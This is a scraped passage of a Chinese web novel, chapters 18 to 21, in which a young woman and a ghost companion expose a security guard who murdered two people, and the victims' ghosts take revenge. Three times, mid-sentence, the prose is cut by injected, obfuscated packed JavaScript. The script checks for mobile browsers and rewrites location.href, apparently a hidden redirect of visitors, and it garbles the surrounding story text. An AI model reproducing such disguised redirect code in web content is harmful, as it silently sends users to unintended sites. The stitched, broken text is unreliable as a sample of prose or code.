第二天早上，保安大叔仍在值班室里工作，有两个警察正在向他了解情况，另有两个警察正在查看监控，还有几个住户在围观，他们三三两两地站着，正低声说着什么。 “每隔一段时间就要发生这样的事……怪不得这里的房价这么便宜。” “唉，上次见他的时候，人还好好的呢……怎么突然就……” “你还不知道啊，他赌输了钱，输了这个数。”那个男人向旁边的女人比了个数字，女人捂住嘴，“天哪，这么多，他怎么敢的啊……” “唉，就是说嘛。” 这个案件已经被初步定性为自杀，警察的调查很快就结束了，众人离开之后，保安大叔依旧是用收音机滚动播放着《大悲咒》，手里还握着一串深绿色的浑圆念珠，他粗粝的手指一颗颗划过朴拙的老绿檀珠，看到纪明霜从电梯里走出来，他还对着纪明霜笑了笑，纪明霜没搭理他。 纪明霜出门之后，隔着警戒线，远远地看到地上有一摊黑污的血迹，白线划住的人形轮廓，还有被他撞到裂成几块的地砖。 她没有多停留，因为她今天还要上班，到了公司，打卡之后，她坐在工位上，把娃娃从包包里拿出来，放在她的办公桌上，戳了戳娃娃的脸，感叹道，“我感觉我周围好像没有一个正常人。” 林然：“……你还好意思说别人？” 纪明霜拾起一本杂志，随便翻了几页，津津有味地看着，“我觉得我很不错啊，努力工作，积极向上，并且渴望升职和涨工资。” “我常常见到你摸鱼。” “怎么，你有意见吗？”纪明霜翻了一页。 林然说，“没有，没什么不好的。” 她继续翻看着杂志，“话说回来，我有没有因为上班摸鱼而死过呢？” 林然想了想，“这个还真没有。” “我就知道。”纪明霜笑着说，“摸鱼是绝对正义的！” 坐在工位上发了一会呆，纪明霜才去饮水机那里接水泡茶，盯着透明水杯里鲜活明亮的白茶茶叶和氤氲着回甘醇香的茶水，她突然想起了另外一件事，“说起来，昨天晚上，你找到我的时候，我还是女鬼的模样，你是怎么认出我的？” “现在才想起来，你真是有够迟钝的。”林然说，“我一眼就认出你了，绝对不会认错的。” “太厉害啦，奖励你和我一起吃晚饭。” 林然：“……我不想吃泡面。” 纪明霜：“禁止挑三拣四！” 虽然如此，晚上下班之后，纪明霜还是到附近的小餐馆打包了两份一荤两素的盒饭回来，到大厅之后，她正好和楼下的主妇，也就是雁雁的妈妈一起上了电梯。 她看到主妇提着一个购物袋，购物袋里装着一盒切好的肉片、一盒鸡蛋、一包番茄味薯片，还有一把折起来的大葱，她的眼睛周围又红又肿，眼睛里也都是血丝。 “阿姨，你这是没睡好吗？” “没有……昨天晚上，我好不容易把雁雁哄睡了，本来想着趁机做点家务，但她突然尖叫了一声，我打开门进去，问她怎么回事，她就撒谎，然后一直哭个不停……我们好不容易有个落脚之处，我现在又要工作，又要兼职，又做家务，又要照顾她，她一点都不体谅我的辛苦，还是这么不省心，我忍不住就……今天我想给她做点好吃的，还买了她最喜欢的薯片呢。” “您说她……撒谎？” “是啊，说起来，真是好气又好笑，她居然说她看到一个吸尘器人。” “吸尘器人？”纪明霜追问道，“是什么样的吸尘器呢？” “我也没多问，我想大概是变形汽车机器人之类的吧，她从小就喜欢看这类动画片，一点都不像女孩子，她经常让我买小汽车模型，我想着，价格也不便宜，要是她珍惜也就算了，可她的玩具总是莫明其妙地弄丢，怎么说都不管用……” 电梯停了下来，主妇提起购物袋，走进了楼道里，纪明霜差点跟着去了十二楼，却听到林然提醒她说，“洗衣液。” 纪明霜赶紧缩回了电梯里。 林然说，“说实话，她描述得还挺形象的。” 电梯开始缓慢上升，纪明霜说，“你说……雁雁？” “是的，那个保安摔得很……难看，看来他不止找了你，还找了那个叫雁雁的小孩。” “看来他的死亡另有隐情。”电梯门打开，纪明霜看到雁雁背着小书包坐在她的门口，看到纪明霜和林然回来，她放了下手里的娃娃，恹恹地打了个招呼，“姐姐晚上好，哥哥晚上好。” “你是生病了吗？”纪明霜想摸摸雁雁的额头，被雁雁躲过去了。 “没有。”雁雁说。 纪明霜打开门看了一眼，嗯，小鬼不在，这才把雁雁放了进去。雁雁坐在沙发上，接过纪明霜递来的一瓶刚刚拧开的矿泉水，礼貌地说了句，“谢谢。” 纪明霜蹲在雁雁的面前，看着雁雁有些失落的神情，“那雁雁是被那个吸尘器吓到了吗？” 雁雁摇了摇头，说，“他的样子确实挺吓人的，但他并没有伤害我的意思，反而是妈妈……她打了我的脸，当时我只觉得脸麻了，后来才慢慢感觉到疼，吸尘器哥哥被妈妈吓跑了，所以还是妈妈更可怕一些……吸尘器哥哥好像想跟我说些什么，但我一个字都没听清，之后也没有再见到他了。” 纪明霜说：“你妈妈不是给你买了薯片吗，这就是她表达歉意的方式吧。” “她肯定会买番茄味的薯片，因为番茄味的薯片正在打折，但是我不喜欢番茄味的薯片。”雁雁从沙发上跳了下来，“我也该回家了，哥哥再见，姐姐再见。” …… 半夜，纪明霜突然醒来，她走到客厅，准备去喝水，在黑暗中，她看到一个类似人形的物体，林然说，“是他。” 纪明霜点点头，“哦。” 一眼望去，那东西确实不怎么像人，仔细一看，纪明霜才发现，原来那东西还真是个人啊——他正是保安小哥那奇形怪状的鬼魂。他从楼上摔了下去，头部着地，当场死亡，所以死后的姿势也是头部着地，头下脚上，但他的身体并不是直立的，而是微微倾斜着的，感觉这个角度……嗯，有点反重力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419831|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>纪明霜盯着他看了一会儿，他其实是耳朵着地，他的一部分颈部已经崴进了脑袋里，巨大的冲击力已经让他的眼珠快要掉出来了，鼓鼓地凸出眼眶，好像某种植物的成熟种子，只要稍微遇到一点刺激，它的眼球就会弹射出去，但它的眼珠还不停地灵活转动，一会看看纪明霜，一会看看林然，它满脸都是血，满脸都是笑，笑得非常难看。 此外，它还用双手的手指撑着地，虽然它的双手已经血肉烧糊，被搅成一团，只几根手指的轮廓还算清晰，但在它移动时，它的手指就像触手一样灵活，动作平稳而丝滑，速度还很快，真的像一个只剩半截的吸尘器。 纪明霜打了个哈欠，正准备回房间睡觉，林然说，“它好像想说什么。” “……咦？” 纪明霜停下了脚步，盯着年轻保安的鬼魂看了一眼，它的嘴确实在动，但它只要一张嘴，就有黑红色的不明果冻状液体涌出来，纪明霜看着它吐了半天，地上结了一层厚厚的不知名流体，才勉强听到两个字——报纸。 这些不知名流体当然是幻觉，纪明霜转个头的功夫，就消失得干干净净，但报纸……联想到方婆婆送她的报纸，难道是保安大叔害了他？ 客厅里有点冷，她走回房间里，准备披条毯子，保安小哥的鬼魂也跟着滑了进来，纪明霜看了他一眼，指着门说，“出去。” 它就灰溜溜地出去了。 当纪明霜披着毯子，回到客厅的时候，保安小哥的鬼魂已经不在了。 第二天早上，纪明霜准备出门上班，她在一楼大厅又看到了保安小哥的鬼魂，他在电梯门口一闪而过，值班室里，保安大叔似乎也看到了什么，他愣了一下，手里的油性笔掉在地上，滚进桌子底下就找不到了，他有些恍惚地俯身去找，只是，当他把手伸向油性笔时，另一只冰冷的鬼手也抓住了他的手腕。 他吓了一跳，条件反射地向后一倒，只是他的动作太大了，他桌上保温杯里的茶水洒了他一头一身。这水是刚刚开好的，因为太烫，他连一口都没喝，但比起烫来，更重要的是道长拿给他的那张符箓，道长说过，那张符箓不能沾水。 他用最快的速度把手擦干，小心翼翼地把符箓拿了出来。他实在是太害怕了，于是就把符箓装在了内裤上的口袋里，也正因如此，他全身湿了大半，符箓却没有沾水。 见纪明霜要离开，保安大叔连忙从值班室里跑了出来，“小姑娘，等一下。” 纪明霜没理他，继续往前走着。 他一边环顾四周，一边紧张地问道，“小姑娘，你……是不是也被‘那些东西’缠上了？” “嗯？”纪明霜停下脚步，现在正是早高峰，周围还有不少人，不知道保安大叔有没有意识到，他的眼间发红，心火太盛，眉间发黑，运势很差。 不对，从发黑的程度来说，应该是——极差。 “我……我这边认识一个大师，你可以去找大师帮忙，大师会帮你布置法阵的，只是……你能不能把大师给的符箓卖给我，我……” 纪明霜笑了笑，“保安大叔，你怎么不直接找他啊？” 19. 第19章 下雨 保安大叔说，“因、因为大师不卖给我……” 别人大概不知道，但纪明霜知道，那位道长说过，他是有售后的，只是…… 事到如今，恐怕保安大叔心虚，不敢去找那位道长了吧。 纪明霜没有多说什么，她笑了笑，转身出门，今天还要上班呢。 …… 晚上回来的时候，纪明霜刚刚走进灰灰公寓，就感到了一阵阴风，今天是停电了吗，大楼里好黑啊，一般情况下，如果停电了，也会有应急灯啊。 况且，现在是晚上下班的时间，住户大多在这个时候回家，平时，纪明霜在等电梯的时候，总会遇到一些住户，多则五六人，少则一两人，可是今天，居然连一个住户也没有。 简直就像这栋楼里没有活人一样。 纪明霜打开了手机的手电，可手电的光芒似乎是被黑暗吞噬了，她最多也只能看到直径半米之内的物体，周围又静又黑，还有一种诡异的凝滞感，让人觉得非常不安，她抱着胳膊，感觉有点冷，“林然，楼道里怎么这么黑……” 林然此时正走在她的旁边，“应急灯是亮着的……” 纪明霜把手电关了，“哦。” 应该是鬼遮眼了吧…… 她刚刚下班，现在只想回家，一边吃买来的便宜盒饭，一边看无聊的电视剧，就这么打发时间直到洗漱睡觉，然后明天早上继续上班这样。 她走到电梯门口看了看，虽然还抱着【停电是鬼遮眼的错觉，电梯其实还能用】的期望，但是，电梯确实也停电了。 “看到只能走楼梯了……”纪明霜看着黑洞洞的楼梯间入口，叹了口气。 不过，‘那些东西’似乎不想让纪明霜就这么离开，她听到了背后传来‘叮’的一声，电梯居然开始运行了。 但是，纪明霜怎么可能坐电梯，她准备继续走楼梯，却被保安小哥那奇形怪状的鬼魂拦住了去路。纪明霜看看保安小哥，又看看林然，感叹道，“为什么鬼和鬼之间的差距这么大呢……” 保安小哥张开了嘴，舌头伸得很长，‘啊啊呃呃’地叫着，纪明霜非常礼貌，“你好，能让开吗？” 保安小哥没有动，他看着纪明霜，小幅度地摇了摇头。 “你……想让我帮你？” 保安小哥点了点头。 “可是，我能帮你什么呢？” 保安小哥没有说话。 “那先让我回家吃个饭吧。” 保安小哥让开了路，纪明霜一层一层地爬上了十三楼，回家之后，盒饭已经凉透了，纪明霜给林然点了香，一人一鬼各吃了一份盒饭，林然吃过的那份盒饭，已经没有什么味道了，虽然非常可惜，但纪明霜还是得把这份看起来还没吃过的盒饭处理掉，没办法，鬼吃过的东西，人最好不要吃。 嗯，其实也没什么特别的讲究，只不过…… 食物的味道已经没了，吃起来会特别难吃，仅此而已。 见纪明霜吃完了饭，保安小哥的鬼魂也丝滑地溜了进来，纪明霜问他，“好了，可以说了吧，你要我帮什么忙呢？” 林然补充道，“你是想要找到遗失的脑袋还是洗清冤屈？” 而且，纪明霜在保安小哥那几乎完全破相的脸上看到了嫌弃的表情。 纪明霜：“……噫！” 她走到保安小哥的面前，蹲了下来，在她的手指碰到保安小哥的瞬间，她的眼前就发生了变化。 纪明霜出现在楼下的值班室里，她直接坐在了待客用的小沙发上，林然也坐在了她的旁边，而值班室里的保安小哥正一边嚼槟榔，一边用手机看直播，他的音量开得很大，整个值班室里都是有节奏的舞蹈配乐声。 大概是因为他的个性推荐吧，他的推荐关注列表里大多是滤镜满满的美女主播，他关注了几个新主播，看得尽兴还会打赏，听到主播说‘谢谢哥哥’，他的笑容更是怎么止都止不住。 过了一会儿，他盯着手机站了起来，向桌上摸去，但桌上的抽纸盒里连一张纸巾也没有了，他愣了一下，然后开始掏衣服口袋，他掏遍了衣兜，只找到一小团已经被水洗过的紧缩的卫生纸、几张乱七八糟的零钱和十来袋小包装的经典咖啡味高端槟榔。 他又在办公室里寻找着，他先是从保安大叔的工作日志上撕下了一张纸，揉了半天都不满意，就把纸扔到一边，又打开了保安大叔的抽屉。 他的脸色有点难看，动作也有点紧绷，于是，他从保安大叔的工作日志里抽出一张折好的旧报纸，他尽量把报纸揉得更柔软，更贴合，这才急急忙忙地跑去了厕所。 保安小哥离开之后，保安大叔走了进来，他习惯性地拿起他的工作日志，看到没被撕干净的那张纸也没说什么，但当他翻到日志的最后，看到本应放着报纸的夹层空空荡荡时，他的脸色瞬间就变了。 他站了起来，在办公室里走来走去，可保安小哥迟迟没有回来，他一边走路，一边思考着，直到保安小哥回来，他赶紧问道，“我笔记本里夹着的报纸呢？” 保安小哥坐在他旁边的椅子上，不以为意地说，“哦，拿去看了。” “什么？”保安大叔已经尽量克制音量了，可他的脸色还是非常难看，保安小哥才不管他呢，他拿出一颗小包装槟榔，撕开包装，扔在地上，又把槟榔放进嘴里，继续打开直播软件，津津有味地看着。 过了一会儿，保安小哥一抬头，看到保安大叔仍站在那里，他突然对保安大叔坏笑着说，“对了，老哥，借点钱呗。” 保安大叔这才找回了自己的声音，“借……借多少。” 保安小哥见有戏，立刻坐直了身体，亮出了收款码，“你看着给呗，我尽快还你。” 保安大叔给他转了一笔钱，保安小哥看到数字，眼睛都亮了，“哎，这么多，真是看不出来……嘿嘿，老哥能耐啊，下次再找你！” 他拍拍保安大叔的肩膀，径直离开了值班室，他平时也经常迟到早退，或者直接翘班，但他此时的行为在保安大叔的眼里似乎有了别的意味。 保安大叔在值班室里坐一会儿，站一会儿，有时还在角落里查看一下内裤口袋里装着的符箓，他终于下定了决心，当晚，他把保安小哥带到了顶楼…… 而后，保安小哥就变成了那副‘吸尘器’的模样，一晚上，他都在这栋楼里徘徊，他看到了方婆婆，方婆婆忙着织毛衣，压根没注意到他，他又去找了别的鬼，但他也怕别的鬼，看到都会绕着走，尽管纪明霜觉得，他看着比别的鬼可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419832|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕多了。 他一层一层地找着，先是去找了纪明霜，却被林然拦了下来，在下楼的时候，又遇到了雁雁，雁雁的妈妈太可怕了，吓得他跑回了一楼值班室。 这个人，活着的时候天不怕地不怕的，变成鬼之后，反而变得畏畏缩缩的了。 而后，纪明霜看到了今晚发生的事。 女鬼和保安小哥的鬼魂都挂在了保安大叔的身上，一张符箓压不住两只鬼，于是，保安大叔经历了不少‘意外’。 在纪明霜离开之后，他在值班室里坐了一会，很快就睡着了，可是他没睡多久，就突然醒了过来，他发了很久的呆，准备去倒点水喝，可是他暖壶的壶胆突然碎了，热水浇了他一身，吓得他跌下椅子，爬到了值班室的角落里，直到他确认了符箓的状态，这才暂且松了口气。 天快黑的时候，七楼的业主到来了值班室，说他的家里进了蛇。 保安大叔跟着业主来到了发现蛇的卫生间，找了半天也没有找到蛇的影子，卫生间的水管却破裂了，自来水浇了他一身，他不管不顾地跑了出去，看到楼道金属栏杆上反射的，除他之外的两个影子，他吓了一跳，再次摔倒在地。 一次是意外，已经两次了，哪来这么多意外……他坐在台阶上，立刻掏出手机，给道长打了电话，“道……道长，能不能来救救我？” 电话那头的道长打了个哈欠，说，“怎么这个时候给我打电话，道观就快打卡下班了，你那边有什么急事吗？” 保安大叔颤抖着嘴唇，说，“没、没有，只是……今天有两次，我的符箓差点湿了，我、我……” 道长说，“这样吧，还有五分钟就下班了，下班之后，我立马打车过去。” 保安大叔连连点头，“好……我在值班室里等您过来，您可千万快一点啊！” 他稍微放了点心，先去关了自家的水阀，又小心地把水都放走，这才去了卫生间，查看符箓的状态，可是，卫生间的天花板居然开始下雨了。 他不知道那雨水是从哪来的，只是慌乱地逃出了卫生间，但无论他逃到哪里，头上的雨水流个不停，他咬咬牙，跑回值班室，找到几个大号的塑料袋当作雨衣，没关系，没关系，等道长来了就好了，只要符箓不湿就好了…… 纪明霜安静地看着，看着他不停地喃喃自语，“如果这是梦就好了，如果这是梦就好了……” “如果这是梦就好了？”林然说，“看他的状态，如果这是梦，也不见得是什么好事。” 纪明霜赞同地点了点头。 而后，纪明霜看到保安大叔从值班室的椅子上坐了起来，大口大口地喘着气，他不顾脸上的濡湿，抬头看着天花板，没有云，没有雨，很干净，他顺着椅子瘫倒着，擦了一把头上的汗水。 “幸好，幸好……” 等等，汗水？ 他这时才发现，他的淡蓝色的保安制服的领口、胸前、肚子的位置几乎都被汗水浸透了，这种面料的水渍很明显，而他的下半身，从腰间到大腿的一半，也全都湿透了。 把符箓从内裤的口袋里拿了出来，然后红色的符文已经完全被浸透，整张黄纸都变形了。 他的表情惊悚极了。 完、完了…… 20. 第20章 约定 与此同时，纪明霜醒了过来，她仍是半蹲的姿势，她不知道她到底蹲了多久，只感觉腿又酸又麻又涨又痛，压根站不起来啊，看到保安小哥的鬼魂仍歪歪地倒立在她的面前，她没好气地说，“你，现在，一边去。” 保安小哥的鬼魂自觉地站在了墙角，那是小鬼之前经常待的地方。 这时，她腿上的酸麻涨痛瞬间消失了，她看到‘自己’用力地揉了揉小腿后侧那块疼痛的区域，这才缓了过来，而后，‘自己’坐到了客厅的沙发上，把小腿肚压在了另一边的膝盖上，内外两侧各按四十次，等她恢复知觉站起来的时候，腿已经不痛了。 纪明霜从抽屉里拿出了方婆婆给的那份报纸，准备下楼，林然说，“纪明霜，你下楼梯的时候慢一点，我担心你会摔死……” 纪明霜：“嗯。” 她从十三楼走到了一楼大厅，这里现在已经不是漆黑一片了，空旷幽暗的大厅里，应急灯明亮的绿光最多只照亮了部分的天花板，其它的地方依旧非常黑暗，远远看上去，这些绿灯显得有些诡异，可以直接让剧组来实景拍摄恐怖电影了。 要是能摆几个商场的模特娃娃就更应景了。 纪明霜突然听到物体落地的声响，而后一个有弹性的球体‘骨碌骨碌’地滚到了她的脚边，纪明霜回头一看，女鬼正背对着她站在楼梯口，她的身体没动，头转了过来，冷冷地看着纪明霜，纪明霜跟她打了个招呼，“那个，你的腿好了？” 保安小哥看起来比女鬼可怕多了，但他也害怕女鬼，女鬼出现之后，他就躲在了纪明霜和林然的身后。 即将大仇得报，女鬼也有心情跟纪明霜聊天了，“嗯，死都死了，哪有什么瞎眼断腿的，不过是生前的执念罢了……对了，我让你帮的忙……” 纪明霜把报纸拿了出来，“喏，在这里，你让我放在哪里来着？” 女鬼没有说话，一阵阴风吹过，纪明霜手里的报纸飞了起来，纪明霜看着那张看似单薄的报纸摇摇晃晃地越飞越远，最后落在了值班室的门口，她感叹道，“啊……我现在好想回去休息啊。” “想都别想。”女鬼说。 保安大叔看到了外面发生的一切，眼睛都快从眼眶里瞪出来了，为什么，为什么会这样…… 现在虽然有些晚了，但还有住户要回家，可是，无论他怎样呼喊、大叫，怎样敲打值班室的门和窗，他甚至拿出了他的那把大号铁锤来砸门和窗，可是值班室的门和窗岿然不动，那块玻璃甚至连一丝裂纹都没有。 保安大叔握着砸坏的手机，有些失神地喃喃自语，之前，他的手机里出现了女鬼的身影，他立刻用锤子把手机砸了个稀巴烂，值班室里的电话里也有女鬼的声音，他把电话线全部剪断了，甚至包括传真机，也被他推到了地上，他的手臂也被划了一道口子，此刻正在往外面渗血，他已经无法再联系那位道长了，他甚至都不知道，他给道长打电话的场景，到底是梦境，还是现实…… 这里是公寓唯一的出入口，因为这栋独立公寓里只有两个保安在工作，为了方便管理，后门早就被他锁住了，所有住户都要从这里出入，但几乎所有的住户都看不到他，也听不到他的求救和砸门声，只是抱怨着停电，只能走楼梯回家。 唯一一个多看了他一眼的，居然是一个家庭主妇牵着的小女孩，那个女孩脸上还有一点红肿，虽然看见了他，却被她的妈妈揪着上了楼梯。 现在，他的希望也只有那个住在十三楼的女住户了…… 保安大叔把脸贴在了值班室的玻璃上，他的全身都湿透了，脸上都是泪水与汗水，“小姑娘，小姑娘，你救救我吧……” 纪明霜没有走近，她说，“我没有办法帮你。” “我认识一个大师，我有他的电话，拜托你打给他……”保安大叔急切地说着，“他的电话号码是……” 纪明霜说，“行了，我不愿意帮你。” 保安大叔的表情变得狰狞，他的话语从奉承和哀求变成了诅咒和怒骂，也正是因为他的愤怒，他的‘阳气’提高了一点，他居然从值班室里跑了出来，他抡着那把锤子，冲向了纪明霜，“既然我活不成，那你也要一起去死，一个换三个，我也不算亏！” 林然把躲在他身后的保安小哥拎了出来，扔在保安大叔的面前，保安小哥的死状太可怖了，他此时的模样太可怕了，保安大叔愣了一下，手里的锤子落了地，人也跟着坐在了地上，“你……你……” 纪明霜没有说话，只是静静地看着他。 他也尝试过逃跑，可是他的全身都已经完全脱力了，特别是腿，几乎已经动不了了，他的嘴里喃喃着，“如果是梦就好了，如果是梦就好了……” 纪明霜说，“……不是梦。” 至少不完全是梦。 保安大叔勉强跪下来，对着纪明霜磕头，“求求你，救救我吧，我还有一个女儿，我的女儿和你差不多大，如果我不在了，她要怎么办呢……” 纪明霜迅速地挪到了另一边，没有受他的大礼，“如果和我一样大，那她应该可以养活自己了吧。” “不……”保安大叔的两行浊泪流了下来，说，“为什么，为什么你不会被鬼缠上……” 纪明霜看了林然一眼，“我也被鬼缠上了啊。” 只是，他不想要我的命罢了。 林然：“哦，你有意见吗？” 纪明霜：“没有！” 这时，又有一个住户走了进来，他的手里提着他笔记本电脑的电脑包，一边走，一边看手机，他看到楼里这么黑，大厅里还有一个奇怪的身影，吓了一跳，走近才看到是最近经常在电梯门口遇到的女生，这才稍微放下了心，他跟纪明霜打了个招呼，就满身疲惫地去爬楼梯了。 保安大叔说，“那为什么，你……” 纪明霜平静地说，“因为我没有害人。” “难道你是来看我去死的吗？”他怒吼道。 纪明霜叹了口气，说，“我哪有那么无聊。” 她待在这里，是为了另一个人，或者说是另一只鬼。 昨天晚上，她看完了平平爸爸发的所有博文，里面有很多关于他的妻子和女儿的回忆，在他的回忆里，他的妻子是个勤劳善良的女人，说话总是口不对心，可她终究是心软的，总会暗自自责和懊恼，女儿失踪之后，她就一病不起了。 他的女儿学习成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419833|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绩一般，爱玩手机，爱臭美，爱偷懒，但她人缘很好，不怕挫折，不怕丢人，从小到大很有主见，很少让他和妻子操心。 在这位父亲的回忆里，纪明霜看到了女鬼生前的点点滴滴。她在一本手记里看到过，鬼如果直接杀人，会影响鬼的轮回转世，至于影响程度，纪明霜也无从得知，毕竟这个领域的内容总是无法考证的。 也正因如此，她答应了帮助女鬼，相应的，女鬼也要答应她的要求，这是她和女鬼之间的约定。 她要求女鬼不能直接杀人，如果想要报仇，可以把保安大叔的气运压低，保安大叔自然会死于意外，作为交换，她也答应女鬼，尽量不让那个道士插手此事。 今天，保安大叔的确联系到了那位道长，所以，纪明霜在此等待。 没过多久，纪明霜就看到，那位道长的身影出现在公寓楼的门口，他抬头仰望着公寓楼上那片黑压压的乌云，那片乌云压得极低，被狂风席卷着，搅作一团，像洗衣机里浸泡着的正在掉色的灰蓝色窗帘，周围的树枝剧烈摇晃，不停地‘簌簌’作响，好像下一秒就会响起隆隆的雷声。 道长走了进来，在他开门的瞬间，那张报纸直接飞到了他的脸上，他把脸上的报纸用力扯掉，那一瞬间，风就停了，道长扶了扶眼镜，一眼就看到了右下角的一条新闻：花季少女离奇失踪，父母悬赏五万寻女。 道长抬起头，看到女鬼正站在他的面前，要知道，报纸上有女鬼生前的照片呢，这下，他还有什么不明白的，他问道，“那个老保安，现在还活着吗？” 女鬼歪了歪头。 纪明霜在一旁弱弱地出声，“他还活着的，但是我建议你不要再插手这件事了。” 纪明霜旁边的保安小哥也跟着点头，把道长吓了一大跳，“我去，这是个啥啊，你咋死得这么惨，要不，我找个和尚给你超度了吧？” 保安小哥弱弱地点了点头，但他的死状有些奇怪，他现在还歪歪地倒立着呢，所以他点头的时候，也有点像摇头，道长明显是误会了什么，“哦，用不着啊，那就算了。” 保安小哥：“？” 道长对纪明霜说，“这位……这位道友，那个，我可以不插手这件事，但至少让我再见那个老保安一面吧。” 纪明霜、林然和保安小哥都看了看女鬼，女鬼说，“可以。” 保安大叔看到道长的时候，眼泪都快掉出来了，“道长……求求你，救救我，那张符箓……” 道长打断了他的话，“够了，你不应该害人的，而且还害了三个人，我帮你，就是在害别人，同时也害了我……唉，钱退给你吧，留给你的家人。” 纪明霜说，“那个，他只害了两个人，林然应该不是他害的……大概？” 林然：“……我也忘了。” 保安大叔辩解道，“怎么可能，我之前都没见过他！” 道长看了看女鬼，又皱着眉看了看保安小哥，“唉，算了，两个也够多了，总而言之，言至于此，下辈子再注意吧。” 事到如今，纪明霜的任务也完成了，她正准备回去休息，然而，那位道长却叫住了她，“那个，小姑娘，你……你是不是姓纪？” 21. 第21章 渊源 “道长，道长，救救我，救救我，至少先保下我的命，我会改正的……我明天就去自首！”保安大叔跪坐在地上，“还有那个，那个女生的头，除了我，谁也不知道那颗头在哪里！” 女鬼冷笑一声，“是吗，但是我不在乎。” 道长摇头叹息道，“唉，不是我不想帮你，你实在是太缺德了……行吧，事到如今，我就告诉你吧，我只是个半吊子，那个阵法是骗你的，最多起到心理安慰的作用，至于那块被你砸坏的玻璃，你有参与感，会更安心些。至于符箓嘛，是我画的，确实有用，但是，一张符箓保不住你……那画多少张都没用啊。” 保安大叔颤抖着嘴唇，都快说不出话了，“你……” “那也没办法，道观的入职测试也不考这些啊，什么《玄门日诵早晚课》、《太上感应篇》、《道德经》之类的，唉，福生无量天尊，这也太难了吧，幸亏有位同道给我划了重点……就是道风道貌要求太高，搞得我出门还得粘胡子。”道长一边说着，一边把脸上的胡子扯了下来，他的下巴上虽然有些胡茬，但总体而言还算是整洁，他摸了摸下巴，“唉，真疼，没办法，我也想留点胡子，但我总是留不长，留得长了，一洗就断，是不是我的洗发水的问题呢……” “你……你学艺不精就出来害人，你……” “行啦，我三证齐全才上岗的，你要是去找我的同事，呃不，同道，说实话，他们还不如我呢，好歹我以前跟着一个老哥见过世面，但他是个老好人，连你这样的恶人也救，结果你猜怎么样，妻离子散，精神崩溃，我最后一次见他，是在精神病院。”道长把收起来的胡子装进包里，转而又问纪明霜，“小姑娘，你是姓纪吗？” 纪明霜默默地点点头，在她为数不多的回忆里，并没有这位道长的身影。 道长上上下下地打量着她，眼里居然有些泪光，他擦了擦眼睛，又从包里拿出他的笔记本，翻到最后一页，拿出一张泛黄的老照片，照片上有包括道长在内的三个人的合影，他感叹道，“你肯定不认识我，你都没见过我……但是我一眼就认出你了，你和你妈妈长得真像啊……” 纪明霜想了想，“嗯，感觉也不是很像……” “来来，这边不方便说话，我们去另一边吧……”在保安大叔愤怒绝望的眼神中，纪明霜、林然跟着道长走到了楼梯间，道长看着纪明霜，感叹道，“一转眼，你都这么大了，我也已经老了，退休金还没着落……对了，你爸爸现在怎么样，你最近有见到他吗？” 纪明霜说，“嗯，挺好，身体倍棒，吃嘛嘛香。” “那……你妈妈呢？” “也是一样。” 道长总算露出一个真心实意的笑容，“那就好，那就好……看来我今天能遇见你，也是上天注定的缘分，对了，这个给你。” 他从笔记本里拿出一张符箓，和他拿给保安大叔的符箓几乎一模一样，但这张符箓明显有些年头了，不知道是不是因为黄纸的原因，朱砂的颜色已经显得有些暗沉了，他把这张符箓拿给了纪明霜，纪明霜后退了一步，“我……我不能随便拿你的东西。” 道长往前走了一步，“唉，你这孩子，怎么就没跟你爸学学那臭不要脸的性格呢，哈哈，你要是知道这张符箓是从哪来的，肯定会收下的，毕竟这是你爸送给我的啊！” “我……爸爸？” 趁着纪明霜愣神的工夫，道长把符箓塞到了纪明霜的手中，“唉，事情是这样的，我嘛，学艺不精，混口饭吃，平时遇到的顾客，要么做点法事，起个心理安慰的作用，要么给张符箓，这玩意儿真的有用，可是正的只有这一张，其它的都是我照着画的，我靠这门手艺混到现在，不用看，我也能默画出来，今天见了你，你也帮了我，我们有缘，又有渊源，这张符就给你吧……” 纪明霜继续推辞，“这个真不行……” “唉呀，哪有什么行不行的，今天你也帮了我……我要是救了这种恶人，相当于我做了恶行，反而会折损我的福德……你爸爸当初救了我，你现在又帮了我……”道长的眼睛又湿润了，“我现在都不知道该说什么好了……” 眼看着道长就要落下泪来，纪明霜赶紧收下了那张符箓，道长含泪看着她，“好孩子，好孩子啊……对了，你爸爸的联系方式和住址，能给我写一下吗，我抽时间会去拜访……” 纪明霜接过道长递来的笔记本，写下了地址和电话号码，道长又叮嘱她道，“那个老保安，做了太多坏事，又亏心不肯说实话，所以才是这样的结局……福生无量天尊，你看他的印堂，那么黑，脸色那么难看，恐怕今晚就会……算了，总之你离他远一点，沾上霉运可就不好了……” 纪明霜看了一眼林然，“对了，道长，你之前见过他吗？” 